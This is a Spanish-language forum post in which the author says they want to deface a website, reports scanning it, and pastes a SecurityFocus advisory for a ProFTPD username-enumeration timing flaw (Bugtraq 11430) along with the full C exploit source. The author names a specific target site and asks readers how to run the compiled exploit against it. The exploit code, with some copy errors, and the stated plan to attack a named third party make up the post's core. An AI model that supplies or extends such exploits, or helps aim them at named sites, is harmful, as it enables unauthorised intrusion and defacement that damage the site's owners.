Hola a todos!!
Este en proceso para daface una pagina!!
Ya la he escaneado con el SSS
...Seleccione una de las vulnerabilidad
es que parecia!!
FTP Servers : ProFTPD Authentication Delay Username Enumeration Vulnerability
Port 21
Description A timing attack is described in ProFTPD that could assist a remote user in enumerating usernames. A remote attacker may exploit this vulnerability to determine what usernames are valid, privileged, or do not exist on the remote system.
How to fix Upgrade to the current version of ProFTPD Server.
Risk level High
Related Links ProFTPD Homepage.
CVE CVE-MAP-NOMATCH
Bugtraq ID 11430
Al numero 11430 le di clip y me traslado a la pagina de segurity focus
Para ver este enlace Registrate o Inicia Sesionhttp://www.securityfocus.com/bid/11430
La cual me di la seguiente informacion:
ProFTPD Authentication Delay Username Enumeration Vulnerability
Bugtraq ID: 11430
Class: Design Error
CVE:
Remote: Yes
Local: No
Published: Oct 15 2004 12:00AM
Updated: Oct 15 2004 12:00AM
Credit: Discovery of this vulnerability is credited to LSS Security.
Vulnerable: ProFTPD Project ProFTPD 1.2.9 rc3
ProFTPD Project ProFTPD 1.2.9 rc2
ProFTPD Project ProFTPD 1.2.9 rc1
ProFTPD Project ProFTPD 1.2.9
+ MandrakeSoft Linux Mandrake 10.0
+ OpenPKG OpenPKG 2.0
+ OpenPKG OpenPKG 1.3
+ OpenPKG OpenPKG Current
+ Slackware Linux 9.1
+ Slackware Linux 9.0
+ Slackware Linux 8.1
+ Slackware Linux -current
ProFTPD Project ProFTPD 1.2.8 rc2
ProFTPD Project ProFTPD 1.2.8 rc1
ProFTPD Project ProFTPD 1.2.8
+ Slackware Linux 9.0
+ Slackware Linux 8.1
+ Slackware Linux -current
ProFTPD Project ProFTPD 1.2.7 rc3
ProFTPD Project ProFTPD 1.2.7 rc2
ProFTPD Project ProFTPD 1.2.7 rc1
ProFTPD Project ProFTPD 1.2.7
+ Sun Cobalt Qube 3
ProFTPD Project ProFTPD 1.2.6
ProFTPD Project ProFTPD 1.2.5 rc1
ProFTPD Project ProFTPD 1.2.5
ProFTPD Project ProFTPD 1.2.4
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0
ProFTPD Project ProFTPD 1.2.3
ProFTPD Project ProFTPD 1.2.2 rc3
ProFTPD Project ProFTPD 1.2.2 rc1
ProFTPD Project ProFTPD 1.2.2
ProFTPD Project ProFTPD 1.2.1
ProFTPD Project ProFTPD 1.2 pre9
ProFTPD Project ProFTPD 1.2 pre8
ProFTPD Project ProFTPD 1.2 pre7
ProFTPD Project ProFTPD 1.2 pre6
ProFTPD Project ProFTPD 1.2 pre5
ProFTPD Project ProFTPD 1.2 pre4
ProFTPD Project ProFTPD 1.2 pre3
ProFTPD Project ProFTPD 1.2 pre2
ProFTPD Project ProFTPD 1.2 pre11
ProFTPD Project ProFTPD 1.2 pre10
ProFTPD Project ProFTPD 1.2 pre1
ProFTPD Project ProFTPD 1.2 .0rc3
+ Conectiva Linux 7.0
+ Conectiva Linux 6.0
+ Conectiva Linux 5.1
+ Conectiva Linux 5.0
+ Conectiva Linux graficas
+ Conectiva Linux ecommerce
+ MandrakeSoft Linux Mandrake 8.1 ia64
+ MandrakeSoft Linux Mandrake 8.1
+ MandrakeSoft Linux Mandrake 8.0 ppc
+ MandrakeSoft Linux Mandrake 8.0
+ MandrakeSoft Linux Mandrake 7.2
ProFTPD Project ProFTPD 1.2 .0rc2
ProFTPD Project ProFTPD 1.2 .0rc1
ProFTPD Project ProFTPD 1.2
+ Cobalt Qube 3.0
+ Cobalt Qube 2.0
+ Cobalt RaQ 3.0
+ Cobalt RaQ 2.0
+ Cobalt RaQ 1.1
Y me proporciono el siguiente exploit:
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/time.h>
#define PORT 21
#define PROBE 8
main (int argc, char **argv)
{
int sock,n,y;
long dist,stat=0;
struct sockaddr_in sin;
char buf[1024], buf2[1024];
struct timeval tv, tv2;
struct timezone tz, tz2;
printf ("Proftpd remote users discovery exploit\n"
" Coded by Leon / LSS Security\n"
">-------------------------------------<\n");
if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); }
sock = socket (AF_INET, SOCK_STREAM, 0);
sin.sin_family = AF_INET;
sin.sin_port = htons (PORT);
sin.sin_addr.s _addr = inet_addr (argv[1]);
bzero (sin.sin_zero,8);
connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));
printf ("Login time: ");
n = read (sock,buf2, sizeof(buf2));
for (y=0;y<PROBE;y++) {
gettimeofday (&tv,&tz);
snprintf (buf, sizeof(buf)-1,"USER %s\r\n",argv[2]);
write (sock, buf, strlen(buf));
n = read (sock,buf2, sizeof(buf2));
gettimeofday (&tv2,&tz2);
dist =tv2.tv_usec - tv.tv_usec;
stat += dist;
printf (" %d |",dist);
}
printf ("\nAvrg: %d\n",(stat/PROBE));
close (sock);
}
Ya lo he Compilado!!
Luego que que utilizo el cdm para ejecutarlo sale esto:

La pagina q quiero atacar es:
Para ver este enlace Registrate o Inicia Sesionwww.oritucoenl inea.com
Pero la verdad es q no se que mas hacer con este exploit!!
Si alguien me puede ayudar se lo agradeceria!!
(la manera de introducirlo a la pagina, ejecutarlo o algo asi)